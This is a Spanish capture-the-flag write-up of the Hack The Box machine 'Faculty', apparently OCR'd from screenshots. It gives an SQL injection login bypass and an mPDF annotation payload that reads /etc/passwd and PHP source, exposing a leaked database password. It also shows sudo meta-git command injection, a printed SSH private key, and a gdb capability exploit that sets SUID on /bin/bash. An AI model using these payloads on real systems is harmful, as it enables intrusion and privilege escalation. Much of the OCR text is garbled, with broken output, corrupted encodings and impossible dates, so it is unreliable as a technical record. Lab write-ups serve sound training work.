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1.Enumeracion

Realizamos un PING a la maquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Linux.

/home/kali/HTB
1 1 10.10.11.169
PING 10.10.11.169 (10.10.11.169) 56(84) bytes of data.
64 bytes from 10.10.11.169: icmp_seg=1 ttl=63 time=39.0 ms

— 10.10.11.169 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 39.021/39.021/39.021/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

an report 10.10
up (0.036s latency).

(Ubunt inux; protocol

56 cl1lcaf762b56e8b3b88ae969737be6f5
open http nginx 1.18.0 (Ubunt
ver-header: nginx/1.18.0 (Ub
_http-titl Did follow redirect to tp://faculty.htb
Ser e Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

e detection performed. Please report any incorrect results at https: ap.org/submit/ .

Comprobamos el LaunchPad de la version del SSH y vemos que estamos ante una version
Focal de Ubuntu.

"<\ Ubuntu
W openssh package

EEET code Bugs  Blucprins  Translations  Answers
openssh 1:8.2p1-4ubuntu0.5 source package in Ubuntu

Changelog

openssh (1:8.2p1-4ubuntud.5) focal; urgency=medium

= d/p/Fix-connect-timeout-overflon,patch: prevent ConnectTimeout overflow.
(LP: #1983515)

[ sergio Durigan Junior ]
* d/p/1p1966591-upstrean-preserve-group-world-read-permission-on-kno.patch:

Preserve group/world read permissions on known_hosts. (LP: #1956591)

-- Athos Ribeirc <email address hidden> Wed, 30 Mar 2622 10:03:15 -@38@

Upload details

Uploaded by:
8 Athos Ribeiro on 2022-04-02

uploadad to:
Focal
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Intentamos realizar una enumeracion con el médulo de nmap “http-enum” pero no nos
descubre nada.

buntu 4ubuntu@.5 (Ubuntu Linux; protocol 2.0)
(Ubuntu)

nux:linux_kernel

e detection pe ed. B rt any i t results at https
done: 1 IP addr (

Revisamos las tecnologias que usa el aplicativo que corre en el puerto 80.

/home/kali/HTB
http://10.10.11.169
[302 Found] Country[RESERVED][ '], HTTPServer[ 1, IP[10.10.11.169], RedirectLocation[http://faculty.htb], Title[302 Found], nginx[1.18.0

Vemos que nos intenta redirigir a la URL faculty.htb. Incluimos en nuestro /etc/hosts la
entrada.

GNU nano 6.4 /etc/hosts
8 lo
127..8.1.1 kali

10.10.11.169 faculty.htb

/home/kali/HTB
http://10.10.11.169
2 Found] Country[RESERVED][ ], HTTPServer[ 1

[ 1, IP[10.10.11.169], RedirectLocation[http://faculty.htb], Title[302 Found], nginx[1.18.0]

Found] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ ], HTMLS, HTTPServer[ 10 ], IP[10.10.11.169], JQuery, RedirectLocation[login.php], Script[text/javascript], Title[School F

tem], nginx[1.18.0]
[200 0K] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ '], HTMLS, HTTPServer[ 1t 1, IP[10.10.11.169], Jquery, Script[text/javascript], Title[School Faculty Scheduling Sy

https://dandyloco.github.io/ 3 ©Dandy_loco
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2. Analisis de
vulnerabilidades

Revisamos la pagina web, con nuestro navegador web. Vemos un panel, que nos pide
identificador.

Welcome To Faculty Scheduling System

Intentamos ejecutar un SQL Injection, introduciendo ‘or 1=1 -- -,

ID Number is incorrect

Welcome To Faculty Scheduling System

Please enter your Faculty ID No.

or1=1 -- -

Conseguimos acceder la web.

Vamos a realizar una enumeracion de directorios de la pagina web. Descubrimos un
directorio “admin”.

https://dandyloco.github.io/ 4 ©Dandy_loco
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/home/kali/HTB
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http
e

*

a copy of thi
e entries were found”

Miramos si existen vulnerabilidades para el software “School Faculty Scheduling System”.
Descubrimos la web login.php.

/home/kali/HTB/faculty
fa

E

in HTTP

- hitpfifaculty hibladmin/login php

5 € Kali NetHunter loit-DB

Jsername
Password

https://dandyloco.github.io/ 5 ©Dandy_loco
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&« C @ J A faculty.htb

KaliLinux #8 KaliTools = KaliDocs # Kali Forums e Kali NetHunter Exploit-DB Google Hackit
School Faculty Scheduling System
4 Home
i= Course List

B Subject List

Revisamos la web y vemos una opcién donde podemos descargarnos un PDF. Si lo
interceptamos un BurpSuite, vemos que la peticion viaja codificada en base64 vy
doblemente “URL” encodeada.

School Faculty Scheduling System Administrator -

Course Form course List
i= Course List
Cours show (100 %] entries Search:
B subject List
#t
& Faculty List Description

Course: Hacker

& Schedule 1 Description:
__

Si miramos las propiedades del documento pdf, vemos que esta generado con mPDF 6.0.
También vemos que el directorio donde se aloja el pdf generado es:
http://faculty.htb/mpdf/tmp/.

Propiedades
General Tipografias

Titulo: Ninguno

Ubicacion: il km47eNjgtsdly0GKuUMQP. pdf
Asunto:

Autor:

Palabras clave: guno

Productor: mPDF 6.0

Creador: Ninguneo

Creado:
Modificado:

https://dandyloco.github.io/ 6 ©Dandy_loco
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éQué es MPDF?
Es una libreria en PHP la cual permite generar archivos PDF usando HTML(Codificado
con UTF-8). Estd basada en FPDF y HTML2FPDF, con varias mejoras, fue escrito por lan
Back y lanzado bajo licencia GNU GPL v2.

Miramos en Google, si existe alguna forma de abusar de mPDF 6.0.

efox-b-déig=abusing+mPDF +6.0

Q B & hiips/fwww.google.com/sea

Hacking [ Programacian ision de Logs 05Sl.. @@ Kenjo (@ Discor d @ User Account | Hackdu CVE Trends - crowdso... (B Hf

abusing mPDF 6.0 X @ Q

Q Todo [ Videos [ Imagenes [E Noticias & Shopping : Mas Herramientas

Aproximadamente 10.600.000 resultados (0,50 segundos)

https://github.com » mpdf » issues - Traducir esta pagina ~ §

Make annotation tags disabled by default - Issue #356 - GitHub

22 mar 2017 — During a security test | was able to inject HTML code into a PDF document that
was generated by mPDF. By abusing the tag, it was possible fo ..

Podemos usar un payload, para ver el /etc/passwd.

1. <html><body> <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File:
/etc/passwd” pos-x="195" /></body></html>

Lo codificamos como: <url encode> <url encode> <base64> y obtenemos el siguiente
codigo:

JITIIMON0dG1sITIIMOUIMjUZQ2IvZHKIMjUZRSUYNTIwI TIIMONhbm5vdGF@aWouITI1MiBmalx1PSUyNTIyL2VeYyowYXNzd2Q1MjUyMiU
yNTIwY29udGVudD@1MjUyMi91dGMvcGFzc3dkITIIM}I1MjUyMCUYNTIwaWNvbj@1MjUyMkdyYXBoITI 1M I1MjUyMHRpdGX1PSUyNTIyQX
ROYWNoZWQ1MjUYMEZpbGU6EITIIMjAVZXRL3Bhc3N3ZCUYNTIyITIIMjBwb3MteDOIMjUyMESNSUYNTIyITIIMjAVITIIMOUIMUZQy9ib
2R5JITIIMOU=

Lo lanzamos con BurpSuite.

Request Respanse
Lo W= | pretty  Raw  Hex  Render
HTTP/L,1 200 OK

ol

1 Pos download.php HTTP/L.1 1

2 Hos ¥ hith 2 ser nx/1,18.0 (Ubuntu)

3 use Mozilla/5.0 (XL1; Linux x86_64; rvil02,0) Gecko/20100101 Firefox/102,0 5 Da 04 Nov 2022 15:39:47 GMT
a ke 4 Com e: text/htnl; charset=UTF-8
5 A 5 con close

& Acc & Content -Length: 47

7 co orm-urlencoded; charset=UTF-5 7

8x 5 OKaxwdOKEGBY ACKLt Vbl rnPnz. pdf

9 G 432

0 0 //faculty htb £

1 c close

2 Referer: http://faculty.htb/adwin/index.php7page=courses

3 Cookie: PHPSESSID-i66hdaddbparkkfSivSdnkrpd

a

5 pdf

JTTLHONodG1S ITT1HOUL M} Uz 023y ZHiL Hj UzRSUy NTTw T T1MONh bmSu dGFOaWSL 3T T14i Bl JTT1HOQL Hj Uy Mi UyNT JGZXR] ITT 1Mk ZuYXh2 d 21 M3 Ly i LyNT TwY 28udGVudCly NTNEJTTLM] TLM; Uy RV OYyUyNTIGEGRze 3k JTT
LU TLHj Uy MGL b 2411 UZRCUYNTLyR33h cGgl Hj Uy MUy NT Twdl Gl 0B GUL I Liz RCUy NT Ty QXROYHNo ZWQL ] Uy MEZpbGUL Hj LiZQSUYNT 1w ITL1Mk ZL dGHL Hj Uy RnBhe SNSZCUYNT Ty T 1LH Bwh3Ht eCUy NTNEJT TLHj IxOTUL M Uy Hi iy NT

Revisamos el PDF generado, y en los ficheros adjuntos al fichero PDF, podemos
descargarnos un fichero llamado passwd.

C @ O @& faculty.htb/mpdf/tmp/OKucq6VTFfmB4weMC3XJ5HzDZK pdf

Kali Linux # KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

1| of1

https://dandyloco.github.io/ 7 ©Dandy_loco
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Revisamos el contenido del fichero, filtrando por los usuarios que usan una bash.

Revisamos el resto de la pagina web, hasta que llegamos a la opcidon de horario.
Interceptamos la peticién. Si forzamos una peticién errénea, vemos que el programa

revela la pagina web admin_class.php.

7 & faculty.htb/adminfindex.php?page=schedule

Google Hacking DB OffSec

Schedule
View Schedule of: James, Eric P v
today November 2022
— —
Request Respanse
Raw  Hex n o= Pretty  Raw  Hex  Render
1 POST /admin/ajax.phpraction=get_schecdule HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: faculty htb 2 Server: nginx/1,18.0 (Ubuntu)
3 User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:102.0) Gecke/20100101 Firefox/102.0 5 Date: Fri, 04 Nov 2022 16:28:25 GMT
4 Accept: ¥/¥ 4 Content-Type: text/html; charset=UTF-8
5 Accept-Language: en-US,en;q=0.5 S Connection: close
& Accept-Encoding: gzip. deflate 6 Expires: Thu, 19 Now 1881 08:52:00 GMT
7 Content-Type: application/x-www-form-urlencoded: charset=UTF-8 7 Cache-Control: no-stare, no-cache, must-revalidate
© X-Requested-With: XMLHttpRequest & Pragma: no-cache
9 Content-Length: 11 o Content-Length: 321
Jlo origin: http://faculty.hth 10
L1 Connection: close 11 =br />
2 Referer: http://faculty,htb/adnin/index php7page=schedule 12 <b>
|5 Cookie: PHPSESSID=166hdaddbparjkkfSivSdhkrpd Fatal error
</b=

Uncaught Error: Call to a member function fetch_assoc() on bool in
Svar/www/scheduling/adwin/adnin_class. php:370
15 Stack trace:
14 #0 Jvar/www/scheduling/adninkajax.php(100) : Action-&gt;get_schecdule()
15 #1 {main}
15 thrown in <b»
Jvar/www/scheduling/adnin/admin_class. php
</b>
on line <b>
370
</b=
<br />

L2
L5 faculty id=

Realizamos el mismo proceso que para el fichero /etc/passwd, para revisar su contenido.
1. <html><body> <annotation file="admin_class.php" content="admin_class.php" icon="Graph" title="Attached
File: admin_class.php" pos-x="195" /></body></html>

JITI1IMONodG1sITIIMOUIMjUZQ2IvZHKIMjUZRSUYNTIwI TIIMeNhbm5vdGF@aWouITI1MjBmalx1ITI1MBQIMjUyMmFkbWluX2NsYXNzLnB
0cCUYNTIyITI1MjBjb250ZW503ITIIMeQ1IM]UyMmFKkbW1uX2NsYXNzLnBocCUYNTIyITI1MjBpY29ulTI1IMBQIMjUyMkdyYXBoITIIMI1M]
UyMHRpdGx13TI1MOQ1IM]jUyMkFOdGF jaGVkITI1MjBGaWx1ITIIMOE 1MjUyMGFkbW1uX2NsYXNzLnBocCUYNTIyITI1MjBwb3MteCUyNTNE]
TI1MjIXOTUIMjUYMiUyNTIwITIIMKYIMjUZRSUYNTNDITI1MKZib2R5ITI1MOUIMjUZzQyUyNTIGaHRtbCUYNTNF

— 4 AutomaticZoom v

https://dandyloco.github.io/ 8 ©Dandy_loco
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Vemos que se realiza una llamada db_connect.php.

File: admin_class.php

<?php

Realizamos de nuevo el proceso para conseguir el fichero db_connect.php

/home/kali/Descargas
db_connect.php php

File: db_connect.php
<?php

$conn- nel ', 'sched", et@6aci. ling_db") ("Could

|C1ave: Co.met@6aci.dly53ro.per

3. Explotacion y movimiento lateral.

Comprobamos si acontece una reutilizacion de contrasefa. Conseguimos acceso con el
usuario gbyolo.

/home/kali/Descargas

Welcome to Ubuntu 26.0

6ff:febo: 814

Revisamos nuestros privilegios de sudoers. Vemos que tenemos privilegios para ejecutar
como el usuario “developer”, el programa meta-git.

al/sbin\:/usr/local/bin\:/usr/sbin\: /usr/bin\:/sbin%:/bin\:/snap/bin

s on faculty:

https://dandyloco.github.io/ 9 ©Dandy_loco
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Buscamos en internet si existe alguna forma de aprovercharnos de este programa vy
previlegios: https://hackerone.com/reports/728040. Probamos a ejecutarlo con
“whoami”.

Una vez comprobado que es vulnerable, intentamos obtener la clave id_rsa del usuario
developer.

do -u developer meta-git clone '
! d_rsa' at id_rsa

—BEGIN OPENSSH PRIVATE KEY
b3BlbnNzaClrZXktd jEAAAAABGSvbMUAAAAEDMOUZ] AAAABAAABLWAAAA

b3B1lbnNzaClrzXktdjEAAAAABG5vbmUAAAAEbmOUZQAAAAAAAAABAAABIWAAAAdZc2gtcn
NhAAAAAWEAAQAAAYEAXDAgrHcD2I4U329//sdapn4ncVzRYZXACC/czxmSO5Us2S87dxyw
izZ@hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAIJMNGmVocBnIkSczGp/zBy@pVK6EH7g6GMAVS
pribX/DrdHCcmsTu7WqkyZ@mDN2sS+3uMk6I3361x2ztAG1aC9xIX7EISHMXDRLZ8G1Rib
KpIOWgAWNSXHDDvVcwDpmWDk+N1IRKkpGcVBYyzhG8x1azvKWS9G36zeLLARBP43ax4eAVrs
Ad+7ig3v19Iv+ZtRzkHOPsMhriI1lHBNUy9dFAGP5aa4ZUkYHil/M1BnsWOgiRHMgcIzchX
0GeIJbtcdp2aB0jZ1GI+G6uLWrxwlX9anM3gPXTT4DGqZV1Qp/3+3ZF19/KXJ1drei328j
saM1zDijF5bZjpAOcLxSOV84t99R/7bRbLdFXME/@xyb6QMKcMDnLrDUmdhiObROZF13v5
hnsW9CoFLiKE/4jWKP61PU+31GOTpKtLXYMDbcepAAAFiOUui471LouOAAAAB3NzaClyc2
EAAAGBAMQWIKX3A9i0FNOvT/7HWGZ+J3FcOWGCcQAgV3M8ZkjuVLNkvO3ccsIs2dIQ7Mx8p
PmwgeQdcL67ZgBbtijeGhggACTDRplaHAZyJEnMxqf8wctKVSuh+40hjAFUgqadml/w63Rw
nJrCLulgqpMmdJgzdrEvt7jJ0iN9+tcds7QBtWgvcSV+xCbB51waS2fBtUYmyqSNFqgFjul
xww73MA6Z1g5PjZSESpKRNFQcs4RvMdWs7y1kvRt+s3iywEQT+N2seHgFa7AHfu4oN75fS
L/mbUc5B9D7DIa4iJRwTVMVXRQB]j+WmuGVIGB4tfzIQZ7FjoIkRzIHCc3F1lzhniCW7XHad
mgTo2ZRithurilq8cJIV/WpzN4D100+AxgmVdUK{9/iWRdffylydXa9It9vI7GjIcwdoxelW
2Y6QDNC8UtFfOLFfUf+20Wy3RcTBPOMcm+kDCNDASY6w1InYYjmOTmMRZd7+YZ7FvQqBS4i
hP+I1ij+pT1Pt9Rjk6SrS12DA23HqQAAAAMBAAEAAAGBAIjXSPMCOIvr/oMaspxzULdwpv
JbW3BKHB+Zwtpxa55DntSeLUwXpsxzXzIcWLwTeIbS35hSpK/A5acYal/yJOyOAdsbYHpa
ELWupj/TFE/66xwXJfilBxsQctr@i62yVAVfsROSng5/qRt/8orbGrrNIJU2uje7 ToHMLN
JOJ1A6NniLQuh4LBHHYTVUTRYC72P8Im5varaLEhuHxnzglg8110A87jviWAeUHwayNxG8uu
ng+nLalwTM/usMo93nvx/UeoKnKQ4r5AunVeM7QQTdEZtwMk2G4v0Z90DQztI07aCDCiEv
Hx9U9A6HNYDEMfCebfsJI9voabi+rphRzK9or/+IbjH331nQ0Zw8IRCI1RpI/uTECivtmkp4
ZrFF5YA09ie7ctB2JIujPGX1v/F8Ue9FGN6WAXW7b+HfnG5VjCKYKyrqgk/yxMmgew2Y5P5
N/NVWYyoIZPQgXKU1TzYj984p1S12+k9Tca27aahZ0SLUceZqq71aXyfKPGWoITp5dAQAA
AMEA15stTOpZ0iZLcYi+b/7ZAiGTQWWYSOp4G1lxm204DedrOD4c/Aw7YZFZLYD1L2KUk60
OM2X9joquMFMHU0XB7DATWknBS7xQcCFXHBHNUKSN385TCX/QWNfWVnuIhl1687Dqi2bvBt
pMMKNYMMYDE rB1dpYZmh8mcMZgHN31AKO6Xdz57eQQt0oGq6btFdbdVDmwm+LuTRwxJISCs
Qtc2vyQOEaOpEad9RVTiMNiAKy1An1ViyoXAW49gIeKlay7z3jAAAAWQDXEUTmwvt+0oX10o
1U/ZPaHkmi/VK103jxABWPRkFCjyDt6AMQ8KOkCn1ZnTLy+JIM+tm1LOXwkY3T503i/yLt
ercex4AFaAjZD7sjX9vDgX8atR8M1VX0y3aQOHGYG2FF7vEFWYdNPfGqFLxLvAczzXHBud
QzVDjJIkn6+ANFAKKR3j3s9xnkb5j+U/jGzxvPGDpCiZzOI30KRtAzsBzT1ZQMEVKrchpmR
jrzHFkgTUug@lsPE4ZLBORe6Iq3ngtaNUAAADBANBXL0141HhpWL300or8064fjhXGjhY4g
b1DouPQFIwCaRbSWLnKvKCwaPaZzocdH1r5wRXwRq8V1VPmsxX8087y9Ro5guymsdPprXF
LETXujO18CFiHVMA1Zf6eriE1/0d3JcUKiHTwv19MwgHitxUcNWOsSETwZ+FAHBBUC2NTVF
YEeVKoox5zK41PYIAgGIvhUTzSuu@tS809bGnTBTqUAG21INF59XVHD1XOZAKCFnTWAIE7]
9ulfIdwzi56TWNhQAAABFKZXZ1bGOWZXIAZmF jdWx0eQ==

----- END OPENSSH PRIVATE KEY-----

https://dandyloco.github.io/ 10 ©Dandy_loco
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Probamos a conectarnos por SSH y ganamos acceso como developer.

/home/kali/HTB/faculty
id_rsa

Ubuntu 2 . (GNU/Linux

Documentation:

anagement :

https

@ updates can be applied immediately.

The list of
To check for
Failed to conn

https://dandyloco.github.io/

than
es run: sudo apt update
S.ubuntu.com,

of host
print is
any
continue conn
19.19.11.1

files in

inux comes with ABSOLUTELY NO
; appli le 1
Thu Jul

11
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6. Escalada de privilegios

Revisamos a los grupos a los que pertenecemos.

developerafaculty:~% id

uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
developerafaculty:~§ l

Revisamos si nos podemos aprovechar de alguna capability.
istreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

_net_raw+ep
ep

Vemos gue nos podemos aprovechar del programa gdb:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities.
Revisamos que procesos se estdn ejecutando como root.

reloperafaculty:

715 @8.8 0. 396 ? s ove3  ©:80 /usr/bin/ fusr/bin/networkd-dispatcher —run-startup-triggers

Nos conectamos con gdb al proceso detectado.
developerafaculty:~$ gdb -p 715

Copyright (C) 2020 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://wwmi.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help”.
Type "apropos word" to search for commands related to "word".
Attaching to process 715

Afadimos permisos SUID a la bash.

NUL Uil Lrmeu.
(gdb) call (void)system("chmod u+s /bin/bash")

after vfork from child process 51

ession is active.

rocess 715] will be detached.

a

8, process 715

https://dandyloco.github.io/ 12 ©Dandy_loco
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LAl T4V i \VWiVvLwT oo rF1L2) UT Lawiicu )

developerafaculty:~$ 1s -l1la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /fbin/bash
(19\.’91(H)PT'ﬁ"‘F;’.('ll‘[T\_f: ¢| .

Ejecutamos una bash privilegiada con el parametro -p y ganamos acceso como root.

developerafaculty:~% bash -p
bash-5.0# whoami

root
bash-5.0%# |

https://dandyloco.github.io/ 13 ©Dandy_loco
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